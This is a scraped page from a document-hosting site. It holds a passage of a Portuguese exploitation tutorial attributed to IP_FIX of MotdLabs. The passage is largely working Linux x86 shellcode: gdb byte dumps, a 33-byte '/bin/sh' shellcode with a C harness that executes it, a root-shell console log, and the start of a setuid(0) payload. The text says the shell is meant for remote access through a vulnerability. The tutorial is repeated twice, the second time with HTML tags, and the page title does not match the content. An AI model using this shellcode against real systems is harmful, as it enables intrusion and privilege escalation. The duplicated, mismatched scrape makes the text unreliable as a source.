Liber 000 - Astrum Argentum

Liber 000 - Astrum Argentum Liber 000 - Astrum Argentum

astrumargentum.org
from astrumargentum.org More from this publisher
01.01.2013 Views

0x8048324 : 0x31 (gdb) 0x8048325 : 0xc0 (gdb) 0x8048326 : 0x50 (gdb) 0x8048327 : 0x68 (gdb) 0x8048328 : 0x2f (gdb) ... ... ... 0x8048340 : 0xdb (gdb) 0x8048341 : 0xb0 (gdb) 0x8048342 : 0x01 (gdb) 0x8048343 : 0xcd (gdb) 0x8048344 : 0x80 (gdb) shellcode/hexash.c /* * Protótipo de shellcode em ASM. * Abre uma shell /bin/sh. * by IP_FIX . * MotdLabs . * Compilação: # gcc -o hexash hexash.c */ #include char shellcode[] = "\x31\xc0" /* xor %eax, %eax */ "\x50" /* push %eax */ "\x68\x2f\x2f\x73\x68" /* push $0x68732F2F */ "\x68\x2f\x62\x69\x6e" /* push $0x6E69622F */ "\x89\xe3" /* mov %esp, %ebx */ "\x50" /* push %eax */ "\x53" /* push %ebx */ "\x89\xe1" /* mov %esp, %ecx */ "\x31\xd2" /* xor %edx, %edx */ "\xb0\x0b" /* mov $0xb, %al */ "\xcd\x80" /* int $0x80 */ "\x31\xc0" /* xor %eax, %eax */ "\x31\xdb" /* xor %ebx, %ebx */ "\xb0\x01" /* mov $0x1, %al */ "\xcd\x80"; /* int $0x80 */ main() { /* Mostramos o tamanho para se ter um controle maior. */ printf("Tamanho do Shellcode: %d bytes.\n", strlen (shellcode)); 78

* Criamos um ponteiro para uma função do tipo long. */ long (*executa) (); /* Apontamos a função para o shellcode. */ executa = shellcode; /* E aqui acontece a mágica! :) */ executa(); } shellcode/hexash.c root@motdlabs:~/IP_FIX/shellcode# gcc -o hexash hexash.c hexash.c: In function `main': hexash.c:36: warning: assignment from incompatible pointer type root@motdlabs:~/IP_FIX/shellcode# ./hexash Tamanho do Shellcode: 33 bytes. sh-2.05b# w00w00!!! Um shellcode /bin/sh de 33 bytes. Isso é incrível pra quem está acostumado com o tamanho do Aleph1 (45 bytes), mas não tem nenhuma técnica desconhecida. Que tal incrementarmos um pouquinho? É mais que óbvio que usaremos essa shell para conseguir acesso remoto através de alguma vulnerabilidade. E que tal assim que cairmos, termos permissões root (uid=0)??? Sim! Isso é possível, e é mais fácil do que você imagina. Vamos ver.: shellcode/csetuid.c /* * Protótipo de shellcode em C. * Seta uid atual para 0. * by IP_FIX . * MotdLabs . * Compilação: # gcc -o csetuid csetuid.c */ #include main() { setuid(0); } shellcode/csetuid.c root@motdlabs:~/IP_FIX/shellcode# gcc -o csetuid csetuid.c root@motdlabs:~/IP_FIX/shellcode# ./csetuid root@motdlabs:~/IP_FIX/shellcode# Ok, agora vamos ver como funciona e criá-lo em ASM: root@motdlabs:~/IP_FIX/shellcode# man setuid int setuid(uid_t uid); 79

0x8048324 : 0x31<br />

(gdb)<br />

0x8048325 : 0xc0<br />

(gdb)<br />

0x8048326 : 0x50<br />

(gdb)<br />

0x8048327 : 0x68<br />

(gdb)<br />

0x8048328 : 0x2f<br />

(gdb)<br />

...<br />

...<br />

...<br />

0x8048340 : 0xdb<br />

(gdb)<br />

0x8048341 : 0xb0<br />

(gdb)<br />

0x8048342 : 0x01<br />

(gdb)<br />

0x8048343 : 0xcd<br />

(gdb)<br />

0x8048344 : 0x80<br />

(gdb)<br />

shellcode/hexash.c<br />

/*<br />

* Protótipo de shellcode em ASM.<br />

* Abre uma shell /bin/sh.<br />

* by IP_FIX .<br />

* MotdLabs .<br />

* Compilação: # gcc -o hexash hexash.c<br />

*/<br />

#include <br />

char shellcode[] = "\x31\xc0" /* xor %eax, %eax */<br />

"\x50" /* push %eax */<br />

"\x68\x2f\x2f\x73\x68" /* push $0x68732F2F */<br />

"\x68\x2f\x62\x69\x6e" /* push $0x6E69622F */<br />

"\x89\xe3" /* mov %esp, %ebx */<br />

"\x50" /* push %eax */<br />

"\x53" /* push %ebx */<br />

"\x89\xe1" /* mov %esp, %ecx */<br />

"\x31\xd2" /* xor %edx, %edx */<br />

"\xb0\x0b" /* mov $0xb, %al */<br />

"\xcd\x80" /* int $0x80 */<br />

"\x31\xc0" /* xor %eax, %eax */<br />

"\x31\xdb" /* xor %ebx, %ebx */<br />

"\xb0\x01" /* mov $0x1, %al */<br />

"\xcd\x80"; /* int $0x80 */<br />

main() {<br />

/* Mostramos o tamanho para se ter um controle maior. */<br />

printf("Tamanho do Shellcode: %d bytes.\n", strlen<br />

(shellcode));<br />

78

Hooray! Your file is uploaded and ready to be published.

Saved successfully!

Ooh no, something went wrong!